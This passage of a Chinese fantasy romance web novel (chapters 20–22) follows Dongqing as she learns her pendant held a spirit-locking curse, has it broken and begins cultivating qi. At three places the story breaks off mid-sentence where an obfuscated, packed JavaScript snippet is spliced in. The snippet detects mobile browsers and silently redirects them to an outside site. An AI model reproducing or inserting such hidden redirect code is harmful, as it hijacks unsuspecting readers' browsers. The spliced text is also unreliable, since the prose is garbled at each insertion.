“满的?”他重复了一遍,声音带着一丝急切。 “什么时候少了这么多,我已经记不清了。”冬青把他从肩膀上拎起,还顺手颠了两下,“你是不是胖了些?” “……”思绪还在血镝身上的池南猛然听到这句差点没把自己绊倒。 他强迫自己不在这种小事上计较,把注意力放到血镝上面。 “你娘……跟你说过这条琉璃坠的名字吗?” “一条坠子还要名字?” “万一它是个法器呢?”池南循循善诱,“像乾坤币,它不叫这个名字怎么区分它和普通铜钱。” “我娘没告诉过我。”冬青提溜着琉璃坠,目光转向他,“你知道叫什么?” 池南动作一顿,摇了摇头,“知道还问你干嘛。” 喧嚣逐渐远去,两人一前一后走出镇子,在长生山脚驻足,冬青抬头向上望去,山影巍峨,点点幽绿中透出长明灯的光晕。 “回来啦?”守山弟子遥遥招了招手。 “嗯。” 守山弟子一如既往的掐了个火字诀交给冬青,没有等她出示腰牌,便爽快地放了行。 三人回到竹居,冬青将火苗送入篱笆上的莲花灯中,幽深的竹林中赫然亮起来了小小一隅。 石桌上放着一个精美的匣子,下面压着一张字条,冬青抽出来一看,几排龙飞凤舞的大字歪七扭八地写着“美味盛宴,凉了就不好吃了——柳又青奉上”。 她忍俊不禁,估摸着池南和无相应该没吃饱,便将食匣子拿进了屋里,招呼两人进来。 “红豆留了点吃食。”她把盖子打开,即便里面的饭菜全部变成了冷炙,仍旧飘出了令人垂涎欲滴的香气,“你们俩吃些吧,免得明日馊了可惜。” 无相自然恭敬不如从命,让池南给他用真气热了一盘油光锃亮的八宝鸭后,抱着鸭腿大快朵颐起来。 池南又热了几道菜,示意冬青一起吃。 这顿饭他吃的有些食不知味,视线总是无意识地扫向冬青的脖颈。 天色已晚,今日一番折腾下来冬青也有些疲累,几人匆匆用过宵夜后,她便草草洗了漱,睡下了。 月华如练,轻柔如薄雾一般盖在床榻之上,冬青迷迷糊糊的感受到光亮,向里挪了挪身子。 青砖上,投下一道狐狸的剪影。 池南静立窗边,目光沉沉的看向睡的并不安稳的身影。 忽地,他心念百转。 冬青是闻家人,没有灵根,自幼便带着血镝,血镝被用了一半…… 那么,有没有可能……冬青并非没有灵根,而是因为血镝将其掩盖了呢? 20. 第 20 章 池南只知道血镝能压制妖气,却不清楚能否掩盖灵根。 左思右想不得,他烦躁地把睡得正酣的无相摇了起来。 无相:“你明早再问我不行吗?非要现在问吗?” 池南重重点头。 无相打了个大哈欠:“噢,我不知道。” 池南:“……” 要你何用。 他高抬爪子,毫不留情地一掌将其拍晕。 其实很多时候,池南看似是最随性的那个,实际上却是最倔最认死理的那个,一旦他铁了心的想弄清一件事,那么他查遍天涯海角也会将其查清楚。 于是冬青一早醒来,看见的便是苦思一夜、顶着个硕大黑眼圈的池南。 他有些蔫头搭脑,看见她醒来只是淡淡地说,“醒了啊。” “你这是怎么了?”冬青看着他乱糟糟的毛发,本来只打了一个结的脊背现在几乎乱作一团鸟窝。 “没怎么。”池南现下有些烦躁,又抬起爪子胡乱揉了一把脑袋。 这对冬青的眼睛来说简直是雪上加霜。 她受不了了,一手拿起妆台上的木梳子,一手将池南钳制在竹椅之上。 池南预感不妙,“你要干什么?!” “别动。” 也不知道是不是因为起床气的原因,冬青的声音听起来冷冷的,带着一丝不容置疑,“梳毛。” “不行!”池南一溜烟蹿起来,却在半空中被一只无情的大手捞了回去,牢牢按在了一片柔软的衣料上。 冬青将池南按在自己膝头,“老实点。” 池南惊了,她在对谁说话?! 除了他爹娘和师父还没有人敢这么跟他说话! 正当池南反抗不得时,硬质细密的木梳齿轻轻刮在了他头顶。 那一刻像是有一股奇异的电流从天灵盖涌遍全身,让他四肢百骸酥麻软成一片,瞬间失了反抗力气。 冬青感觉手掌之下僵硬紧绷的身体骤然放松下来,又用梳子轻轻刮了刮他的头顶。 呼噜呼噜—— 什么声音? 冬青抬起梳子低头看向池南,“你刚才响了吗?” 池南紧闭着嘴,他脖颈连通面部肌肉紧绷成一片,生怕一张嘴发出什么奇怪的声音。 如果她现在往他耳朵内侧看去,就会看到本来肤色的薄皮现下红的诡异。 冬青收回视线,轻轻捏住缠成一团的毛发根部,用梳子一下一下刮着打结的地方。 狐狸耷拉着脑袋,这个姿势让冬青很难使力,她伸出左手,轻轻托起了狐狸下巴。 她寻找合适的方位,冰凉的指尖有意无意地刮蹭到下颌某一隐秘的地方。 呼噜呼噜—— 冬青这回确定是狐狸发出的动静,她将他的脑袋往上托了托,凑近道,“你在响。” 该死的,怎么控制不住! 头顶上方的姑娘见他没反应,又重复了一遍,“小红,你在响。” “……” 池南当然知道这该死的动静是从自己喉咙里发出的,但他就是不想承认,索性闭起眼睛趴在冬青手心装死。 冬青觉得有趣,故意在他下颌轻轻挠了挠。 于是狐狸一直在响。 池南万念俱灰,只能在心里默念:这是狐狸本能,跟他池南没有一丝一毫的关系! 身体算是束手无策的老实了,但是脑子里却止不住地遐想,就好像真有一只柔软微凉的手掌托着他的下巴,梳子一下一下地从他的发顶梳到发梢,把他的头发梳得柔顺丝滑、乌黑亮丽…… 等等,他在想什么! 池南猛地打了个激灵。 冬青的梳子正停在毛疙瘩上,他这一动倒好,梳子直接扯下了一团纠缠的的毛发,痛的他倒吸一口凉气。 “嘶!” 冬青迅速抬手,梳齿间赫然挂着一团红毛。 “你动什么?”她声音听起来有些不爽。 池南喉结上下滚动了一下,声音甚至称得上乖巧,“……没什么。” 他又讪讪道,“你好了没?我有事跟你说。” “很快。”冬青加快了速度,乱麻一般的毛发摇身一变,变得柔顺无比,根根分明。 其实只过了一盏茶的功夫,池南却度秒如年,他如蒙大赦,逃也似的从冬青膝头跳下,冒了一身汗,此刻清凉的晨风一吹,不由得偏头打了个喷嚏。 冬青看着那顺滑的毛发,心情甚好,语气都跟刚睡醒时判若两人,“你要跟我说什么?” 池南严肃起来,“我知道你那琉璃坠叫什么,它确实是个法器。” “法器?” 池南点点头,“对,它叫血镝。” 见冬青疑惑地看着他,他便继续解释道,“血镝是目前已知压制妖气最有力的法器,我从未见过其真容,但古籍上记载,血镝为水滴形,呈红色,跟你脖子上的坠子几乎一模一样。” 他迟疑着问道,“你娘是术士吗?” 冬青摇了摇头,“我不知道。” “闻家是修真大家,闻儒可也算是丹修术士中的佼佼者,即便你娘是普通人,你也不应该灵根全无。”池南说,“我见过许多术士与凡人的孩子,他们大多都有灵根。冬青,你懂我意思吗?” “你是说……”冬青从衣领中勾出琉璃坠,“这个有可能压制了我的灵根?” 池南点头,“而且这个已经用了一半了,我不确定这一半是不是用在了你身上。” “可是……”冬青疑惑,“血镝不是用来压制妖气用的吗?难道也可以压制术士的灵根吗?” “我不知道。”池南语气诚恳,“所以我想让你把我带进藏经阁。” 冬青了然,这并不是一件坏事,如果真如池南所说,那她或许也能像闻氏兄弟一样修炼了。 “等晚上,我带你去。” 月黑风高之时,冬青池南拉着哈欠连天的无相出了门。 无相哈欠打的泪眼婆娑,“你们俩精力充沛,血气方刚,折磨我一个五百岁的老人干嘛。” 冬青嫌他聒噪,只顾在前面带路,充耳不闻。 池南趁他打哈欠的时候眼疾手快的往他嘴里塞了一块酸的要死的青果,一阵压抑的哀嚎过后,世界终于清静了。 耳根清静,赶路也快了起来,冬青带着他们抄小路,不一会就来到了哗哗流淌的水帘处。 三人穿过盘龙八弯,来到灯火通明的藏经阁内部。 仙人顶藏经阁的盛名池南早有耳闻,却还是第一次见,饶是他也被这恢弘的建筑震惊了一下。 三人踏上莲花飞阶,悬在半空。 冬青垂首问,“找什么书,血镝吗?” 池南点头,于是她轻声对莲花飞阶道,“找血镝。” 莲花飞阶瞬间飞起,稳稳停在七层边缘。 她看着环绕山壁一周的环形书廊,“我们分头找。” “好。” 于是无相与冬青沿着左手方向找起,池南沿着右手方向找,三人沉默不言,只一味取书翻书放书,空旷的藏经阁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362866|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只余壁灯火苗的卒卒燃烧声和书页间摩擦的声音。 冬青站在高梯上,目光在一排古籍间逡巡,她伸手够向两本厚书间夹着的一本不起眼的小册子。 这样其貌不扬的小册子里往往记录着重要的内容。 她倾斜身子,伸长手臂,指尖刚好够到册子左侧的藏书,离她要的那本书不过寸余,却死活都够不到。 藏经阁的书为什么非要手掌放在书前才能自动感应出来! 她扒住书架,往下看了一眼,爬了能有两人高,下去挪完梯子再爬上来又要费一番功夫。 于是她左手紧扣书架边缘,左脚踩住梯子,右半边身子悬空,竭力伸长手指去够那本册子。 她食指扒开挡在左侧的《法器图谱》,中指和无名指颤抖着将册子夹出一些,随后她用指根夹住册子,用力往出一抽! 册子是抽出来了,人却也失去平衡,连带着梯子也一同不受控的向右后仰去。 “小冬青!”无相站上拂尘便向那处飞去。 有人反应更快,人还站在山壁对侧,真气便如离弦之箭一般破空而来,在人坠地之前化作一张轻柔的网,稳稳将其兜住。 冬青双手还护着头部,背部感觉到云朵一样的绵软的触感时还有些懵,直到池南撤了真气,她在离地还有一个小臂高距离的高度,“咚”的一声结结实实摔在地上。 无相看见真气迅速撤走的时候目瞪口呆,“你接都接了,就不能把人轻轻放在地上吗?!” 池南仰着头走过来,颇为矜贵的轻哼了一声,也不知道他到底在计较什么。 冬青捂着砸疼的背部坐起身来,怀里古朴的册子在她面前悬空起来,她看了池南一眼,开始翻起册子。 忽然,她动作一顿,盯着停住的一页,将琉璃坠拎了出来,“你们看,是不是这个?” 不知流传了多少年的泛黄的册子上,赫然画着一张褪色的图,即便经年累月的痕迹淡薄了笔墨,却仍能一眼看出与冬青脖子上的一模一样。 “血镝,赤液之,以琉璃盛之,状若滴水。触妖气,自能制止。施咒符佩之,可抑灵根。” 冬青的目光停留在最后一句话上,“施咒符佩之,可抑灵根……” 池南二话不说放出一缕真气,小心地靠近琉璃坠。 在真气马上要触碰到琉璃坠之时,坠身忽然闪过一排金色的咒符,速度极快,若不是三人紧盯不放,根本注意不到。 “无相,你可看清是什么咒?”池南问。 无相捋着稀薄的胡须,摇头晃脑思索了半天,忽然睁大了眼睛,扬声道,“锁灵咒啊!” “锁灵咒?”冬青觉得这三个字很熟悉,她留下一句“等我”,转头踏上莲花飞阶下到二层,不一会便捧着一本书回来。 她将《咒录》翻到“禁咒”部分,在那里翻到了锁灵咒。 “锁灵咒,能暂锁人灵根,令真气骤竭,短时难复。其上者,可拔灵根于根本,抽其筋、断其脉,使人沦为废体,再无修行之能。” “没有解法吗?”池南伸出爪子翻了一页,背面记录了普通锁灵咒的解咒之法。 “寻常锁灵咒,可寻聚灵符配合无根水,于辰时用真气敷于受咒者天灵,咒力自散。唯最高阶者,咒入骨髓,无药可解,不可逆也。” 无相端详血镝,皱眉道,“你这个看上去像是寻常锁灵咒。” 冬青的目光却不自觉的被最后一行字吸引了去。 抽筋断脉,无力回天,如此狠毒的咒术,难怪被列为禁咒。 21. 第 21 章 “聚灵符……”冬青轻声呢喃,她转向池南,“你会画吗?” “会是会。”池南坦言,“只不过画的比较拙劣。” 他是个剑修术士,对符道一术了解较浅,聚灵符这种高阶符咒,他只能照猫画虎地画一个,效果不会太好。 “大概得六重天境界之上的符修术士,才能画个威力强大的聚灵符。” 冬青闷声思索片刻,忽然抬起头来,“我知道一个人。” “谁?”池南和无相异口同声。 “沈秋溪。” 长生山顶的抚顶台上,狂风呼啸不止,细密雨丝斜下,站在台上向下望去,满山葱绿如暗潮翻涌。 天昏地暗间,台上一点亮白身影格外醒目,风掀起那人的洁白的衣袍,他一手负在身后,另一手定在胸前,伸长的两指间夹着一张黄符,随风猎猎作响。 冬青三人赶到时,看到的就是这讳莫如深的一幕,三人识趣的屏声等待。 蓦地,台上那抹身影动了。 他手腕一抖,将符箓向上一掷,符箓飘舞两圈后悬停在他面前,他双手飞快结印,虚虚向符箓一点。 轰隆—— 黄色符箓上的红色咒文骤然亮起,霎那间天地翻涌,雷声轰鸣,一道紫电当空劈下,瞬间将符箓劈了个粉碎。 巨响中,冬青隐约听见了一声极轻的咔嚓声,好像有什么断裂了一般。 下一刻,脚下土地猛地一颤。 她抬头望去,只见那抚顶台的中心裂开了一条缝,随后石缝极速延伸,整座抚顶台在震耳欲聋的轰隆声中,裂成了两半。 冬青:“……” 池南:“……” 无相:“……” 仙人抚我顶,结发受雷劈。 池南狐疑地开口,“他在干什么?造反吗?” 他们不会被当成共犯吧? 无相被扬起的尘土碎石崩了一脸,灰头土脸地问:“小冬青,你确定他是我们要找的人?” “是吧?”冬青记得清楚,红豆跟她说过,逍遥门下大弟子沈秋溪是个破了七重天的符修天才啊。 眼前这个劈了抚顶台的人,也确实就是那天救下她的沈秋溪啊。 不过怎么感觉这么不靠谱呢。 正踌躇时,台上的沈秋溪望了过来。 他似乎也没想到大清早会有人跑到抚顶台来,神色颇为诧异。 他从裂成两半的台阶上,快步走下来,来到冬青面前,“冬青师妹,你怎么来了……还有你这位狐狸小友。” 这声冬青师妹叫的十分顺口,甚至让她产生了一丝她是仙人顶正式弟子的错觉。 冬青手指蜷了下,开口道,“沈师兄,我是来向你请教聚灵符的。” “聚灵符?” 风似乎小了些,雨丝密密匝匝地飘下来,不成滴地落在他发顶,他抬头看了看灰暗的天空,拿起被他放在一旁的纸伞,“那边有个一得亭,我们不如移步那里说话?” 冬青点头,“好。” 沈秋溪和煦一笑,“唰”地撑起了纸伞。 伞骨支棱起的瞬间,纸伞面便再也支撑不住形状,瞬间化作一捧黑灰,被风吹走了。 “……” 伞骨□□的撑在二人头顶,在一片诡异的寂静中,咔嚓断成两半。 无相在一旁爆笑。 沈秋溪满脸歉意,讪讪收起了残骸,“可能……可能是方才被雷劈了……” 冬青深吸一口气,“……无妨。” 一得亭就在抚顶台下方松林的深处,青瓦黛柱,古朴清幽。雨珠串线般从翘角滴落,砸进湿润的泥土里。 亭子中间摆着一张石桌,沈秋溪把断折的伞骨放在桌上,掸了掸身上的雨水。 “长生山的雨下得总是缠绵。”他笑笑,示意冬青坐。 “是啊。”冬青应道。 沈秋溪看她无意寒暄,便言归正传,“冬青怎么想起来问聚灵符了?” “偶然在书上看见了,觉得有趣,便想来请教师兄。” 沈秋溪颔首:“聚灵符呢,通常分两种,一种是针对锁灵咒的,一种是针对灵根被毁,重塑灵根的。” “灵根被毁还可以重塑?”冬青还是第一次听到这种说法。 “可以是可以。”沈秋溪眉头微皱,“只不过代价极大,要施咒人散尽一身修为才能催动此咒。” “那针对锁灵咒的呢?” “那好说。”沈秋溪神色轻松起来,“咒施在人身上的和施在器物上,解法大同小异,那种聚灵咒好画一些。” 冬青抿了抿唇,垂眸眨了眨眼。 拜托的话在舌尖滚了几滚,冬青却打起了退堂鼓。 她很少求人帮忙,上次拜托红豆给池南无相带饭已经是很大的突破了,况且当时两人已经逐渐熟络。 但是……她看向沈秋溪,她与此人不过一面之缘,此刻却要拜托人家画个复杂的符,她有些不知道怎么出口。 “冬青可还有疑问?”沈秋溪站起身来,视线落在她发顶,“若无他事,我便先行一步?” 他佯装离开,在一得亭外驻足,果然身后一道清泠的声音叫住了他。 “沈师兄。” 沈秋溪回头,他面部轮廓柔和,眉目清隽,笑起来温和如玉,令人放松。 冬青唇线绷得平直,似乎下了很大决心开口道,“能……拜托你帮我画一张聚灵符吗?” 松涛簌簌,沈秋溪头顶的玉冠在微光中抛出一道温润的弧光,他笑的更加欣慰,“有何不可?” 冬青如释重负。 他从怀里掏出各种各样的符纸,翻找了一下,叹道,“只不过我手头没有空白符纸,待我回去画好再送予你可好?” “麻烦沈师兄了。”冬青揖了一礼。 “小事。”沈秋溪略微颔首,转身离去。 无相盘腿坐在石桌上,用拂尘支着下巴,“他靠谱吗?” “实力看上去还行。”池南评价道。 无相“呦”了一声,方才是谁质疑声最大来着。 池南瞥他一眼,“我方才看他从怀里拿出来的符,都是些高级符咒,如果都是他自己画的,那画个聚灵符应该不在话下。” 三人走出一得亭,冬青又去偷摘了一篮归元果,待回到竹居时,雨已经停了。 她用扫帚扫了扫院里的积水,随后温习起池南教她那三招剑法来。 扫帚挥空声在院落里响起,冬青不知疲倦的练着一遍又一遍,逐渐熟练起来。 扫帚带起的水珠在空中甩了个圆,池南后退两步避开,笑道:“人看着瘦,力气倒是不小,悟性也不错。” 无相看得分明,“砍柴挑水的重活干多了,力气也就大了。” 池南又往一旁避了一步,躲开飞溅的水珠,看了一眼那把湿漉漉的扫帚,转身走进了竹林里。 无相:“哎,你干嘛去?” 池南没好气地甩下一句“你管我”,便一头扎进竹林里消失不见。 清风吹拂,冬青停下动作,擦了把汗。 倏地,耳后一阵劲风袭来,她偏头抬臂,下意识用扫帚格挡。 “咚”的一声空响,一道翠影从眼侧闪过,向下掉落,她伸手一抄,一根与扫帚一样粗细、长约六尺的竹子停在掌心。 池南从竹林中走出,“把扫帚放下,你用这个练。” 冬青依言将扫帚放到一边,掂量起手里的竹子。 这根竹子通体翠绿,切口平整,共有六节,节节匀称,是根品相各方面均上乘的竹子。 还挺会挑的。 她正欲好好试试这根竹子时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362867|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,院门的铃铛忽然响了两声。 沈秋溪站在门外,指尖拨了拨那个小巧的铃铛。 冬青面带遗憾的放下竹子,开了院门,“沈师兄,请进。” “进就不进了,我是来给你送符的。”他拿出两张符,递给冬青,“不知道你要干什么,所以我画了两张。” 冬青伸手接过符箓,“师兄,你稍等我一下。” 她转身跑向井边,用力把水桶从井里拉了上来,从桶里取出一篮水灵灵的归元果,拎着篮子跑回院门口。 “这……”沈秋溪回首张望了一下,压低声音,“这不是,苜岚子长老种的归元果吗?” “是。”冬青把篮子塞到他手里,“谢礼。” “你不是刚被罚过,还敢摘?”沈秋溪觉得这篮子有些烫手,但又不忍拂了她的好意,只能做贼一样小心翼翼的提着。 “没事,你放在乾坤币里,没人知道。”冬青一回生二回熟,摘归元果像摘自己家果子一样。 沈秋溪做贼一样把归元果放进乾坤币里,对她说,“冬青,那……我先告辞。” “好。” 待沈秋溪走远,冬青捏着两张符回到屋里,放到池南面前,“然后怎么做?” “把血镝拿出来。”池南拿起一张符,符纸上用朱笔写的咒文颜色鲜艳,他催动真气,将红色的咒文从符纸上缓缓剥了下来。 冬青脖子上的血镝似乎有所感应,琉璃身上骤然浮现出淡金色的锁灵咒文。 池南推动聚灵咒向前,轻轻覆在金色锁灵咒上。 刹那间血光大盛,两道咒文重叠之时,强风平地而起,掀起冬青的额发,她下意识闭上眼睛。 随后风息光灭,一股焚天灼地的热浪在小腹处骤然炸开。 灼人的热意如岩浆般顺着经脉奔涌,若有似无的丝袅雾气萦绕在她周身,越缠越紧,她心脏狂跳,呼吸急促,感受着这股奇异的热意席卷至全身。 就在她感觉几欲被灼烧吞噬之际,忽然,一股清冽的真气从她眉心注入,与那股滚烫的热意纠缠在一起,一路向下蜿蜒,轻柔又强势地将那股热意压回丹田。 冬青终于能正常呼吸了,她颤抖着呼出一口气,慢慢睁开眼睛。 池南和无相正目光灼灼地看着她。 “冬青,看你指尖。”池南提醒她。 她摊开掌心,一缕天青色、充满生机的气流正缠绕在她五指间,绕着她的指骨流转。 “这是……”她有些茫然。 池南声音笑意明显,“这是真气,冬青,你有真气了。” “我有真气了?”冬青难以置信地重复了一遍。 “对。”池南肯定道,“你有真气了,你能修炼了。” “快!快!进识海看看!”无相激动坏了,抱着拂尘上蹿下跳。 冬青眉眼间染了笑意,她闭目,将两人纳入识海。 浅水还是那片浅水,可天空却有些不一样了。 层层叠叠茂密的绿意铺在天空,一望无际。 “那是……你的灵根?”无相指着远处一棵粗壮无比的树干,一时失语。 粗壮无比的树干如撑天之柱般,从识海中心拔地而起,虬结的枝桠延伸向上,树冠竟铺满了整片识海的天空。 池南走到树下,手贴在潮湿的树干上,磅礴浩瀚、生生不息的真气透过这棵参天巨树清晰地传来。 术士的真气一般随着境界提升而逐渐醇厚,各宗的外门弟子通常会将五道修至三重天,再选择一道继续修炼破境,池南便是剑道九重天、丹符阵器四道皆六重天。 因此为了区分真气强弱,术士们把真气也分九重境界。 而冬青…… 池南转头望向冬青,声音带着前所未有的震撼: “你的真气……天生五重天。” 22. 第 22 章 参天绿意撑在头顶,叶尖湿润,淅淅沥沥滴下水珠。 冬青掌心轻轻贴在树干上,巨树仿佛在回应她一般,蓬勃真气攀上她手臂,枝叶颤动,空袤的识海内回荡着簌簌的声响。 浅水在脚踝旁荡起微波,她心中无声震动,面上却克制的极好,她低头问,“真气五重天……是什么意思?” “意思就是,”池南收起爪子看向她,“无论你选择修什么道,都会比常人容易得多。” “简单来说就是天赋异禀!”无相凑上前来,“小冬青,可有想过要修什么道?” 要修什么道…… 这个问题对之前的冬青来说实在太过遥远,不敢奢望,那时的她也没想到将来有一天会有人问她“你要修什么道”,就好像水中捞月却捞出了真月亮一般令人飘然,生怕只是一场幻影。 但此时她的掌纹与树木粗糙的纹路紧紧相贴,一切触感都是那么真实。 她仰头望去,盎然绿意落入眼底。 “你说过,百年间再未出过御物术士。”冬青目光迥然,“那我来做这个第一人,也未尝不可。” 不知道从哪里吹来一阵清风,掀起她的发带,轻柔的飘进池南眼里。 他莫名生出一种强烈的直觉,面前这个小姑娘,有朝一日真的会成为一个百年不遇的御物天才。 冬青靠着树干蹲下身,拿出颈间的血镝,“看来这一半并没有用在我身上。” 她的灵根被施于血镝上的锁灵咒压制了,现在咒解了,灵根自然也就浮现了。 奇怪的是,这琉璃坠子在印象里从未离身,那为何她对那一半血镝用在何处、什么时候用的毫无印象? 而且,还有一个问题——这道锁灵咒,是谁给她下的。 五岁来到闻家后,除了贺伯便几乎没有人近过她身,贺伯又是一个积劳成疾的普通人,所以一定不是来到闻家之后。 难道五岁之前,这道锁灵咒就已经在她身上了吗? 是闻儒可吗?冬青心里浮现出那张冷峻的、总是睥睨着她的脸,难不成是不想旁人知道她私生女的身份? 不是闻儒可的话,难道是……娘? 冬青不知道娘的名字,也忘记了娘的样貌,甚至不知道娘是怎么死的,葬在何方,只记得那副极温柔的嗓音,总是轻轻唤她的名字。 一股淡淡的悲伤忽然涌上心头。 是娘吗? 池南感觉到身旁人似乎情绪上有所变化,水波漾过他的小腿,他轻轻扯了扯冬青的衣角,“冬青。” 冬青回过神来,“嗯?” “在想什么?” 她深吸一口气,轻轻拍了拍树干,“没什么。” “要学控制真气吗?”池南问,“你真气很强,要学着控制它,不然容易伤到自己。” “学。” 仿佛方才低落的情绪只是池南的错觉一般,冬青抬起头,看起来精神饱满。 他眼前一晃,回到了竹居的小屋内。 冬青指尖还萦绕着天青色的真气,她好奇地动动手指,真气立刻顺着她的动势在指尖打圈。 池南立在青砖上,问冬青,“你能看见我的真气吗?” 冬青摇摇头。 池南轻笑一声,下一秒,狐狸面前凭空多出了一小团红如焰火的真气。 “这是你的真气吗?”冬青情不自禁地伸出手,在指尖马上要触碰到时,那团真气突然动了。 池南的真气主动向前,从团化丝,轻轻搭上了萦绕在她指尖的天青真气。 两缕真气旋转缠绕,竟毫无排斥地交融在了一起。 池南蓦地抬头看向冬青。 术士间的真气会相互排斥,通常只有血缘至亲、夫妻道侣之间才能毫无排斥的传递真气。 因此当初在绛茵谷借柳又青真气时,他的身体便产生了极大的不适,可现下……若他刚才没花眼,是他的真气主动贴上去的。 他忽然想到方才解锁灵咒时,他为了防止冬青真气蓬发爆体而亡,用自己的真气将其压回了丹田,也没见冬青说有任何不适。 这怎么可能。 “你们……”无相在一旁惊呼出声。 池南骤然回过神来,他一个激灵,慌张收回真气。 两团交融的真气猝然分开,冬青的真气在半空中僵了一下,随后迅速蹿回她指尖。 她不明所以,“怎么了?” “没……没什么。”池南目光躲闪,“就是让你看看真气是可以收放自如的。” “为什么我的真气没有温度呢?”冬青摸了摸那团缭绕的气体,“你的就凉凉的,很舒服。” 池南耳尖“腾”地红了起来,她怎么这般口无遮拦。 “我也感觉不到自己真气的温度。”他垂下耳朵,不想让她看见自己通红的耳尖,有些心不在焉地道,“可能因为那时你太烫了,才会觉得我的真气凉……” 话音戛然而止。 他方才在说什么! 冬青倒是很快接受了这个说法,她求知若渴,“怎么控制真气收放自如?” 池南轻咳两声,跳上桌案,盯着她指尖真气,板着声音道,“现在,集中精神,让真气汇聚在掌心,凝聚成一团。” 冬青专心照做,真气如一条小蛇从指尖盘旋飞出,落到掌心团成一团,表面如雾气一般流动着。 “然后让真气顺着你身体的任意一处经络回到体内。” 她五指回收,真气果然顺着掌心经络回到体内。她仿佛发现了新鲜玩意,五指张开、聚拢、张开、聚拢……真气便像星星一般在掌心闪动。 “你学的很快。”池南真心夸赞。 他领着冬青来到院子里,桌案上的茶杯腾空而起,飞到两人面前。 “试试。”池南下巴朝石桌扬了扬。 冬青抬手,真气如水袖一般探甩而出,握住茶杯后,颤颤巍巍地将其从桌上抬了起来。 “稳住。”池南在一旁轻声引导,“慢慢将真气收回,握住茶杯那头不要松。” 冬青深呼吸,她像收绳子一样,一点一点拽动真气,直到茶杯抖如筛糠地落进手里。 “不错,再来。” 天上铅云翻涌,空气中漂浮着潮湿闷热的水汽,冬青脊背浸了一层细密汗珠,她抖了抖衣襟,重新把茶杯放回桌上。 “这次尝试把真气化为无形。” 她先在掌心凝了一团真气,看着它慢慢由天青变得透明,才将其放出。 这次明显比方才要顺利的多,茶杯虽抖,但已经能始终保持杯口向上了。 冬青又尝试了几次,她进步飞快,五六次后,便可将茶杯平稳的送至面前了。 无相站在桌上,往茶杯里倒了满满一杯水。 “再来。” 池南话音未落,冬青便已出手,只见茶杯轻轻浮起,四平八稳地飞来。 突然,绷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362868|183774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧的真气被骤然斩断,茶杯在空中一晃,随后茶水泼洒,急速下坠,眼看坠地时,又被凌空抄起,飞到冬青面前来。 她看向池南,后者面色如常,“我会干扰你,直到你在我的干扰下,仍能保持茶水不洒。” 冬青接住茶杯,放回石桌上,语气坚定,“来。” 这短短的一程,茶杯走的异常艰辛,池南角度刁钻,往往在冬青还没反应过来或者还没来得及应对的时候便已经把茶杯劫走。 如此往复一个时辰,她都未能让茶杯走过完整的一程。 她有些气馁,也有些疲惫,但仍固执的重复这一过程。 “累了吗?”池南问。 “你累了吗?”她反问。 池南摇摇头。 “那我也不累。” 池南不再说话了,专心给冬青添堵。 茶杯仍是四平八稳地向前,冬青耳尖一动,捕捉到了从一侧袭来的气流,她五指一动,骤然撤了真气。 茶杯一滞,从空中急速下坠,池南的真气擦着杯沿呼啸而过,将杯身撞成杯口朝下的姿态。 冬青看准时机,重新放出真气,接住真气的同时将杯身倒悬停住,茶水浇下,稳稳落进杯中,飞溅出来的茶水被她用真气包裹住,轻轻丢回。 命运多舛的茶杯终于走完了这坎坷的一路,池南挑眉,“可以啊你。” 冬青仰头喝尽杯中水,充盈的力量禁锢在她体内,强势地充斥着每一处经络,这种奇异的感觉使她情不自禁地战栗,她不想停下,她还想要更多、更好的掌握这股力量。 “小红,”冬青蹲下身来,虚心请教,“我先练真气,练好后学五道的基础知识,再练你教我的剑法和御物心法,你觉得可行吗?” “很合理。” 池南心里恍然升起一丝敬意,天生真气五重天对术士来说称之天才也不为过,若换做旁人,可能早就高兴疯了。 但冬青没有,她不骄不躁,甚至非常谨慎,她深知自己短板在哪,并为自己规划好了接下来的每一步。 “冬青!”门外忽然传来柳又青的声音。 她熟稔地推开院门,蹦跳着来到冬青身前。 “咦?冬青,你怎么好像跟之前不大一样了?”她伸手将冬青转了个圈,突然“啊”地一声叫了起来。 “冬青!”她一把拉起她的手,手舞足蹈,“你有真气了啊啊啊!” 冬青被她带着转圈,也笑了起来,“好啦,好啦,再转下去我要晕了。” 柳又青这才停了下来。 “红豆,找我什么事?”冬青拉着她在石桌旁坐下。 她一拍额头,“高兴过头了差点把正事忘了!” “下月初八就是两年一度的华胥问道了,我想邀你与我同去。”柳又青摇着冬青的手臂,“好冬青,陪我去嘛,不然我一个人太无聊了!” 华胥问道,其实就是各宗门聚在一起举办的宴会。据说是因为千年前的一位仙师在梦境中获得了一身修为,邀请八方好友前来探讨才得此名。 